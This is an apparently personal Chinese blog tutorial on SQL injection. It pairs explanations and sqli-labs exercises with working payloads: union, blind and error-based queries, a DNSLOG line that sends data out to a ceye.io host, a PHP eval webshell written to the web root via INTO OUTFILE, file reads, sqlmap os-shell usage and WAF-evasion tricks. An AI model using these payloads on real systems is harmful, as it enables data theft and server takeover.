SQL注入漏洞

SQL

一、基本概念

  • SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
  • 攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。
  • 如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。
  • MySQL在Linux下数据库名、表名、列名、别名大小写规则是这样的:数据库名与表名是严格区分大小写的;表的别名是严格区分大小写的;列名与列的别名在所有的情况下均是忽略大小写的;变量名也是严格区分大小写的;MySQL在Windows下都不区分大小写。

二、SQL注入的注入点

1、GET

2、POST

3、COOKIE

4、HTTP头

……

三、注入点的判断

1
2
3
4
5
6
7
8
9
10
?id=35    +1/-1    #如果有效果考虑联合查询
?id=35' #判断字符型还是数字型,是否有报错,有报错就报错注入
?id=35 and 1=1 / 1=2 #判断是否可以布尔盲注
?id=35 and sleep(5) #判断是否可以延时注入
---------------------------------------------------
order by N #猜测数据表字段/列的数量
union select 1,2,3.../null... #猜测数据表字段/列的数量
--------------------------------------------------
?id=0=0 #判断数字型
?id=1'-' #判断字符型(mysql弱类型,true-false),相当于select XXX where id='1'-'' 相当于查询id='1',如果是?id=2'-'1,那就是id='3'-'1',id='2' http://www.360doc.com/content/20/0826/15/65839755_932307003.shtml

四、SQL注入的分类

1、按照注入点类型分类:

1)数字型注入:

​ 许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1

2)字符型注入:

​ 网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

3)搜索型注入:

​ 这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

2、按照数据提交的方式来分类

1)GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

2)POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

3)Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

4)HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

3、根据注入方法分类:

1)联合查询:

联合查询union是纵向拼接两个查询的虚拟表结果;union默认选取不重复的值,如允许重复使用union all

联合查询可爆破字段数,可得到回显输出,可爆破表名,可查询元数据库

联合查询的必要条件:1、两张虚拟的表具有相同的列数;2、虚拟表对应的列的数据类型要相同(数字/null可认为是任何类型)

1
2
3
4
5
6
7
8
9
1、爆破字段数:先利用order by 爆出字段数
2、爆破字段数:也可使用select ... union select 1,2,3....,字段数 爆出字段数
3、回显输出:为了让我们可以真正的与目标数据库交互,也就是可以控制输入得到输出(目前我们得不到输出),因此可以这样:select ... id=-999 (and 1=2) union select 1,2,3....,字段数 #利用union表1为假,导致只能输出第2个表的内容
#回显输出时如果输出类型与表1对应字段类型不同,可以使用hex()转16进制显示,得到16进制使用bp还原即可
4、爆破表名(成功率不行):select ... id=-999 (and 1=2) union select 1,2,3....,字段数 from 表名
5、查询元数据库得到当前数据库所有表的表名:select ... id=-999 (and 1=2) union select 1,2,hex(group_concat(table_name))....,字段数 from information_schema.tables where table_schema=database() #得到当前数据库所有表的表名
6、查询元数据库得到当前数据库某个表的所有字段:select ... id=-999 (and 1=2) union select 1,2,hex(group_concat(column_name))....,字段数 from information_schema.columns where table_schema=database() and table_name=0xXXXX
#对于表名是字符串需要单引号的情况,如果不想使用单引号则可以将其转换为16进制形式,无需引号。
7、得到查询目标表和字段直接查询:select ... id=-999 (and 1=2) union select 1,2,concat(字段1,0x3a(冒号),字段2)....,字段数 from 表名
2)布尔盲注:

https://www.cnblogs.com/-qing-/p/10894310.html

即可以根据回页面判断条件真假的注入。

1
2
3
4
5
6
7
8
9
10
11
?id=33 and length(database()) < N #使用二分法猜长度
?id=33 and ascii(substr(database(),1,1)) ><? #猜ascii,逐位爆破
----------常用函数--------------
MID(column_name,start[,length]);
LEFT(str, n);
RIGHT(str, n);
ord(string)/ascii() #获得ASCII值
MySQL盲注可用的函数或方法有sleep、Benchmark、笛卡尔积、RLIKE
--------------------------------
DNSLOG #https://www.cnblogs.com/sstfy/p/10351807.html
|if((select load_file(concat('\\\\',(select hex(database())),'.rqg48p.ceye.io\\sql_test'))),1,0)
3)报错注入:
1、Group By(floor报错)

该注入方法是利用mysql5.X版本中的一个漏洞,Bug8652

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
select left(rand(),3),a,count(*) from r1 group by 1;
select round(rand(),1),a,count(*) from r1 group by 1;
select floor(rand()*2),a,count(*) from r1 group by 1;
select a,count(*) from r1 group by round(rand(),1);
#此时语句会报错,Duplicate entry '泄露点' for key 'group_key',发生了重复键错误,这个SQL解析语句的过程有关,详情见下
#r1是一个测试用的数据表,里面只有一个字段a,表里面有数条记录,都是1或者2。
+------+
| a |
+------+
| 1 |
| 0 |
| 1 |
| 0 |
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
+------+
9 rows in set (0.02 sec)
------------------------------------------------------------------
select concat(left(rand(),3), '^', (select version()), '^') as x,count(*) from group by x;
#当元数据库表被禁用时,注意临时表要有别名
select concat(left(rand(),3), '^', (select version()), '^') as x,count(*) from (select 1 union select null union select !1)alias group by x;
#当rand() | count()被禁用
select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);
#不依赖额外的函数和表
select min(@a:=1) from (select 1 union select null union select !1)alias group by concat('^',@@version,'^',@a:=(@a+1)%2);
----------------------------------------------------------------------
[?id=33 and (select 1 from (select count(*), concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
[?id=33 and (select 1 from (select count(*), concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]

SQL解析过程:

1、FROM:form后面的表标识了这条语句要查询的数据源,from过程之后会形成一个虚拟的表VT1。

2、WHERE:WHERE对VT1过程中生成的临时表进行过滤,满足where子句的列被插入到VT2。

3、GROUP BY:GROUP BY会把VT2生成的表按照GROUP BY中的列进行分组,生成VT3。

4、HAVING:HAVING这个子句对VT3表中的不同分组进行过滤,满足HAVING条件的子句被加入到VT4表中。

5、SELECT:SELECT这个子句对SELECT子句中的元素进行处理,生成VT5表。

  • 计算表达式,计算SELECT子句中的表达式,生成VT5-1
  • DISTINCT 寻找VT5-1 表中重复的列,并删掉,生成VT5-2
  • TOP从ORDER BY子句定义的结果中,筛选出符合条件的列,生成VT5-3。

6、ORDER BY 从VT5-3中的表,根据ORDER BY子句的结果进行排序,生成VT6

2、XPATH报错
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
函数的形式为:EXTRATVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
作用:从目标XML中返回包含所查询值的字符串
注入语句为:extractvalue(1, concat(0x7e, (select 查询语句),0x7e))
?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+
?id=33 and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+
?id=33 and extractvalue(1,concat(0x5e,(select version()),0x5e)) --+

函数的形式为:UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
注入语句为:updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)
?id=33 and updatexml(1,concat('^',(select version()),'^'),1) --+
?id=33 and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+
?id=33 and updatexml(1,concat(0x5e,(select version()),0x5e),1) --+
3、exp报错

​ 本质上是溢出报错。

1
select exp(~(select * from (select user())x));
4)延时注入:

即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

1
2
3
4
5
6
?id=33 and if(length(database()) <> ?,sleep(n),1)
benchmark() / 笛卡尔积 / RLIKE
benchmark(10000000, md5('a')); #执行10000000次md5('a'),大概1.7秒,可代替sleep
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); #正则
select get_lock('ddog',1) #锁

5)堆叠查询:

可以同时执行多条语句的执行时的注入。

五、其它注入方式

1、SQL文件注入

前提条件:

1)secure-file-priv变量的设置,修改该参数在my.ini -> [mysqld]下。

1
2
3
secure-file-priv=    #允许mysqld的导入导出操作
secure-file-priv='c:/a/' #限制mysqld的导入导出操作发生在c:/a/目录下
secure-file-priv=null #限制mysqld不允许导入导出操作(默认)

2)当前用户具有文件操作权限

1
select File_priv from mysql.user where user='root' and host='localhost';

3)明确读取文件或写入文件的绝对路径

1
2
3
4
5
?id=-1 union select 1,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+
#load_file('') 读取文件
?id=-1 union select 1,"<?php @eval($_REQUEST['777']);?>", 3 into outfile 'e:\\phpstudy\\www\\1.php'--+
#select into outfile '' 写入文件
#select into dumpfile '绝对路径' 将内容写入文件,但只能写一行

2、宽字节注入

深入理解宽字节注入:https://www.dazhuanlan.com/2019/12/11/5df040cf3a63e/?__cf_chl_jschl_tk__=300299606f43e553d50d675a6263d98dc5d21554-1601194231-0-AboX6XFl7QQ6EE75uqrHhe_RGlrqpLozB8i0JEJUcjH-rAQ8MSF6CpsJ6FkAuDhdgFk1yy4lG3wShUpm6B9_7Z-vos1ZdfVOx3Q5z05g7xdfoQLcJTDT0K30KGbR6BgiSUJb8qICbl_wpoVcHpayi_WyBQuH7p1MrEkCUoYlEReOXa59MQOcevh7LyyEDZdlVqS207X-dAeAMkP-AnzSNOf8E0LZnGzRq6nui5hhaQHLvFu541aY1llXKqZomSX8KzP4iinsxH1-VpFDeQpEn57gEsBgx4HMCiBNzqVrpt7n1ck5D_Hn5uVtbanaYWndjw

当目标网页的数据库编码是多字节编码时,比如GBK,那么在某些情况下就可以通过编码的构造来使得一些特殊符号失去意义。例如在GBK编码环境下,转义字符\的编码的5c,我们可以在转义字符前加上一个字节%df,就可以使得df5c重新组成一个汉字编码,来失去转义字符\的实际意义。(GBK编码范围:8140-FEFE,剔除xx7F码位)

1
2
#数据库中 SET NAMES GBK
?id=1000%df' union select 123 --+ #sql-lab32关

https://netsecurity.51cto.com/art/201404/435074.htm

3、Cookie注入

Sqli-lab 20关

输入用户名密码Dumb、Dumb登录,登录后,刷新一下页面抓包放入repeater模块。

1
2
#在bp环境下,抓到带有cookie的GET报文,通过repeater模块实现攻击注入
因无数据库回显,采用报错注入:Angelina' and updatexml(1,concat(0x5e,version(),0x5e),1) #/--空格

4、base64注入

Sqli-labs 22关,此关遇到了php时区配置的警告,在php.ini中的[Date]中配置date.timezone = Asia/Shanghai

22关也是cookie注入,只不过cookie经过了base64编码,因此我们将自己的payload进行base64编码即可。

1
2
#单引号、双引号测试,发现是字符型的注入,同时有报错信息,可以报错注入。
" and updatexml(1,concat(0x5e,version(),0x5e),1) # ->进行base64转码

5、HTTP头部注入

HTTP头部注入就是指注入字段在HTTP头部的字段中,这些字段通常由User-Agent、Referer等。sqli-labs 18、19关

1
2
3
4
#User-Agent注入
hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and 1='1 #后续语句不能注释,故使用'1闭合后面的单引号
#Referer注入
hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1

6、二次注入/二阶注入

https://blog.csdn.net/SPS98/article/details/89930351

案例Sqli-Lab /Less24

二次注入的原理是,服务器针对数据库查询的参数值进行了转义操作。例如使用PHP的mysql_escape_string/mysql_escape_string/addslashes做了转义处理,比如你注入的内容是1' ,但参数值经过转义成了1\',此时再插入到数据库查询语句中就是select XXX from table where id = '1\'',可以看到我们恶意构造的单引号已经被转义为了参数的一个值,不会对引号的闭合产生影响。这种服务器端的防守策略固然好,但是也是会有漏洞的。比如,数据库尽管针对用户的输入内容进行了转义,但是如果是数据插入操作,MYSQL默认会移除值中的反斜杠。一般来说,开发人员会完全信任内部的数据,不会对数据库内部取出的数据再进行转义,因此当查询出这条数据再进行数据库语句拼接操作时,这就可能引起SQL注入。

例如:某web网站对输入进行了转义处理,此时我注册一个用户名为admin' #的账号,并且假设该网站有用户是admin、并且注册账号是单引号闭合的SQL语句。那么此时经过转义处理后成功存入到数据库,并且存入数据库Mysql默认把反斜杠去除。此时,我们登录admin'#账号修改密码,此时就会触发SQL注入攻击。后台服务器在验证时,会从Session中取出admin'#的用户名和密码拼接SQL语句进行操作,这个session中的用户名很可能就是登陆时数据库查询验证后从数据库中取出的值,因为完全信任内部数据而没有转义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function sqllogin(){

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}

}
$login = sqllogin();
$_SESSION["username"] = $login;

例如:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ,此时我们构造的语句为:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass',可以看到admin处的内容没有经过转义直接截断了后面的判断,绕过了验证,修改了admin的密码。

7、HTTP参数污染

多相同名字的参数传到服务器时,不同的服务器会有不同的处理。Sqli-lab Less29,服务器是TOMCAT/JSP+APACHE/PHP,前一个过滤第一个参数是WAF功能,后一个在乎第二个参数可注入。

payloadhttp://XXXX?id=1&id=2' union select ….

dDIXe1.png

8、基于约束的SQL注入

https://evi1s.com/archives/103/

数据库字段属性设置的长度是20,比如这个字段是usename,当我们进行一个注册的业务时,我们可以构造admin 若干空格 1,超出20的长度范围,Mysql不会拒绝过长的数据插入记录,而会将多余的部分截断,再插入。此时数据库就出现了两个admin用户,我们可以通过自己注册的admin用户登录到网站中。具体危害不好说,主要出现在CTF题中。

六、Mysql数据库的基础相关

1、注释

1
2
3
4
5
#
-- #(杠杠空格)
--+
/* .... */
/*! .... */ #内联查询

2、Mysql元数据数据库

元数据就是Mysql系统中的库名、表明、字段名等主要信息,他们被统一组织在information_schema数据库中(5.0前没有)

1
2
3
4
5
6
7
TABLES表
table_name字段 #存储了数据库系统中的所有表名
table_schema字段 #对应表所属的数据库名
COLUMNS表
column_name字段 #存储系统中所有字段名
table_name字段 #字段所属表名
table_schema字段 #字段所属数据库名

3、Mysql常用函数与参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
= > >= <= <>    #比较运算符
and or #逻辑运算符
version() #mysql数据库版本
database() #当前数据名
user()/current_user()/system_user() #当前用户名
@@datadir #数据库所在路径
@@basedir #数据库的路径
@@version #数据库的版本
@@version_compile_os; #操作系统版本
length() #返回字符串长度
mid(需要截取的字符串,从第几位开始截取(1开始),长度) #需要截取的字符串
substring(截取的字符串,截取起始位置1开始,长度)/substr(arg同上)/mid(arg同上) #字符串的截取
left(截取的字符串,从开始截取的位数) #字符串的截取,意思是从头开始截取,输入位数即可
concat(str1,str2,...) #连接多个字符串,结果无分隔符
concat_ws(分隔符,str1,str2,...) #连接多个字符串,结果有分隔符
group_concat() #连接一个组的字符串
ord() #返回字符串第一个字符的 ASCII 值
rand() #0-1的随机浮点数
sleep() #睡眠
if(expr,con1,con2) #三目表达式,true执行con1,false执行con2
hex() 和 unhex() #用于 hex 编码解码
char(34,35,36) #转换多个十进制ASCII编码为字符
0x443A2F2F746573742E747874 #十六进制SQL会自动转换为ASCII字符

4、Mysql常用语句

1
SELECT * FROM table LIMIT 偏移量(从0开始),行数    #从查询的结果中截取几行记录

5、判断是什么数据库

1)内置数据表判断

1
2
3
id=-1 and (select count(*) from XXX) > 0 and 1=1 --+ 
xxx: msSQL数据库:sysobjects;mysql数据库:information_schema.TABLES
access数据库:msysobjects oracle数据库:sys.user_tables

2)特定函数判断

1
Mysql:version()>1 、 @@version>1 相同,如果version()错误,则可能是msSQL

七、SQLmap

记录了很多进阶知识:https://www.cnblogs.com/NBeveryday/p/7103814.html

sqlmap超详细详解:https://blog.csdn.net/freeking101/article/details/72472141

BiMCU1.png

1、GET型注入

1
2
3
4
5
6
7
8
9
10
-u "url"    #检测目标url注入点
--dbs #列出所有数据库
--current-db #列出当前数据库的名字
-D #指定一个数据库
--tables #列出表名
-T #指定表名
--columns #列出所有的字段名
-C #指定字段
--dump #列出字段值
sqlmap -os-shell #获得shell

2、POST型注入

1
2
3
sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
1、先通过bp抓一个想要测试注入的表单POST请求报文,保存到文件中。
2、sqlmap -r POST报文文件

3、文件写入读取

1
2
--file-write "要写的文件" --file-dest "写到哪?绝对路径"     #写入文件
--file-read "要读的文件" #读取文件

4、cookie注入

1
sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2

5、Tamper模板(绕WAF)

BiMEvD.png

八、SQL自动化注入sh

1、半自动化注入:Burp

2、全自动化注入:sqlmap、定制化脚本

九、SQL注入绕过技巧

https://www.cnblogs.com/vincy99/p/9642882.html

对于关键字的绕过

  1. 注释符绕过:uni/**/on se/**/lect

  2. 大小写绕过:UniOn SeleCt

  3. 双关键字绕过:ununionion seselectlect

  4. <>绕过:unio<>n sel<>ect(可能是有些网站为了防止xss注入,所以过滤了<>,参照i春秋sql)

  5. 对于and,or的绕过其实还可以尝试一下&&,||,异或注入

  6. like绕过 (注意,like的优先级大于=)详见贝塔安全实验室—由一条like语句导致的sql注入

  7. 替换空格:

    1
    2
    1、+
    2、0x09水平制表符,0x0a换行,0x0b垂直制表符,0x0c换页键,0x0d回车,0x20空格,0xa0

十、绕WAF

sql注入100种姿势过waf(二):过安全狗:http://www.360doc.com/content/20/0826/15/65839755_932307003.shtml

SQLbypass-最新安全狗4.0:https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247484490&idx=1&sn=94f7f2b298cc7b8e74e7f8eb84f38fa1&chksm=ce4b2fddf93ca6cb04d1d7f3dcd9d98131981972e3e07caece135597dec504ab854ed9a9f36e&mpshare=1&scene=23&srcid=0923557b6F3SM9K3MChZ1zPK&sharer_sharetime=1600860312711&sharer_shareid=93e0355b886ed62b41c0d844877d1c1a#rd

SQL注入ByPass的一些小技巧:http://www.52bug.cn/hkjs/4613.html

SQL注入绕过waf的一万种姿势:https://www.cnblogs.com/cute-puli/p/11146625.html

资源层bypass的垃圾数据注入方法(据说万能)超长键值对垃圾数据过waf:https://cloud.tencent.com/developer/article/1592593、https://www.secpulse.com/archives/121202.html

Bypass WAF Cookbook:http://drops.xmd5.com/static/drops/tips-7883.html

0puPfK.png

1、union select的几个替换:union all select、union distinct select、union distinctrow select

2、使用/*!*/、/*!10044select*/奇怪代码绕过、/*! /*! */嵌套绕过

3、%23%0a井号+换行绕过

4、16进制绕过

5、有些WAF会对*字符进行替换为空,可以利用*绕过。

6、()可代替查询时的空格

7、过滤逗号时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
imit 0,1 => limit 1 offset 0;
mid(str,5,1) =>mid('str'from 5 for 1) =>substr('str' from for 1)
union select 1,2,3 => union select * from (select 1)a join (select 2)b join (select 3)c;
mid('123' from -1); =>3 //适用于for被过滤
mid('123' from -2); =>23 //适用于for被过滤
substring('abc' from 1) = abc
substring('abc' from 2) = bc
这样我们通过ord ascii 函数即可进行判断,因为这两个函数返回第一个字符的ascii码

1)如果waf过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len,其中pos代表从pos个开始读取len长度的子串
eg:常规写法 select substr("string",1,3)
若过滤了逗号,可以使用from pos for len来取代 select substr("string" from 1 for 3)
sql盲注中 select ascii(substr(database() from 1 for 1)) > 110
2)也可使用join关键字来绕过
eg:select * from users union select * from (select 1)a join (select 2)b join(select 3)c
上式等价于 union select 1,2,3
3)使用like关键字,适用于substr()等提取子串的函数中的逗号
eg:select user() like "t%"
上式等价于 select ascii(substr(user(),1,1))=114
5)使用offset关键字,适用于limit中的逗号被过滤的情况,limit 2,1等价于limit 1 offset 2
eg:select * from users limit 1 offset 2
上式等价于 select * from users limit 2,1

十一、SQL的一些疑点

1、比较字符和数字时,到底是否是根据字符的ASCII码比较?!

2、为什么where条件的字段是字符型时,select * from users where username=0; 即可select所有的数据。

答案可能是隐式转换【还没看有时间深入看】

十二、当information_schema被过滤时,获得信息的方法

1、利用mysql5.7新增的sys.schema_auto_increment_columns

此表记录数据库中所有带有自增属性的字段,记录其所在数据库名、表名、字段名、数据类型、详细数据类型、有无符号、最大值、下一条自增字段的值等。

1
2
3
4
5
6
7
8
9
10
11
+--------------+------------+-------------+-----------+------------------+-----------+-------------+------------+----------------+----------------------+
| table_schema | table_name | column_name | data_type | column_type | is_signed | is_unsigned | max_value | auto_increment | auto_increment_ratio |
+--------------+------------+-------------+-----------+------------------+-----------+-------------+------------+----------------+----------------------+
| security | emails | id | int | int(3) | 1 | 0 | 2147483647 | 9 | 0.0000 |
| security | referers | id | int | int(3) | 1 | 0 | 2147483647 | 1 | 0.0000 |
| security | uagents | id | int | int(3) | 1 | 0 | 2147483647 | 1 | 0.0000 |
| security | users | id | int | int(3) | 1 | 0 | 2147483647 | 15 | 0.0000 |
| security | course | id | int | int(10) unsigned | 0 | 1 | 4294967295 | 4 | 0.0000 |
| security | grade | id | int | int(10) unsigned | 0 | 1 | 4294967295 | 10 | 0.0000 |
| security | student | id | int | int(10) unsigned | 0 | 1 | 4294967295 | 4 | 0.0000 |
+--------------+------------+-------------+-----------+------------------+-----------+-------------+------------+----------------+----------------------+

2、sys.schema_table_statistics_with_buffer

这是sys数据库下的视图,里面存储着所有数据库所有表的统计信息

与它表结构相似的视图还有

sys.x$schema_table_statistics_with_buffer

sys.x$schema_table_statistics

sys.x$ps_schema_table_statistics_io

3.mysql默认存储引擎innoDB携带的表

mysql.innodb_table_stats

mysql.innodb_index_stats

两表均有database_name和table_name字段,可以利用

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器